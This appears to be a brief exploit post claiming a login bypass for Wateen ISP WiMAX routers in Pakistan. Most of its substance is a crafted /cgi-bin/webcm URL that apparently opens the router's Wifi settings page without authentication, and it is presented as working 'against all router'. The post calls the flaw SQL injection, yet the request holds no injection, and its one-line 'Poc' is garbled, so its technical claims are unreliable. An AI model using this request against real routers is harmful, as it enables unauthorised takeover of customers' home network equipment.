===================
Salam wa Alaikum
===================
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
________ .__ .__ __
\_____ \___ _________ | | ____ |__|/ |_ ______
_(__ <\ \/ /\____ \| | / _ \| \ __\/ ___/
/ \> < | |_> > |_( <_> ) || | \___ \
/______ /__/\_ \| __/|____/\____/|__||__| /____ >
\/ \/|__| \/
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
----------------------------------------
::Wateen Isp wimax router login bypass::
----------------------------------------
Author: 3xploits
Vendor=Pakistan largest internet provider wateen router
Tested on=Against all router
Bug=vulnerable to sql injection login bypass
---------
Exploit
---------
/cgi-bin/webcm?getpage=%2Fusr%2Fwww_safe%2Fhtml%2Fdefs%2Fstyle5%2Fmenus%2Fmenu.html&var:style=style5&var:main=menu&var:menu=wifi&var:menutitle=Wifi&var:pagename=wifi_basic&var:pagetitle=Wifi_Basic&var:navdisable=true
----
Poc
----
http://192.168.15.1/sql injection
-----
Video
-----
http://www.youtube.com/watch?v=n8qgwiDfymw
by 3xploits.
( bug researcher)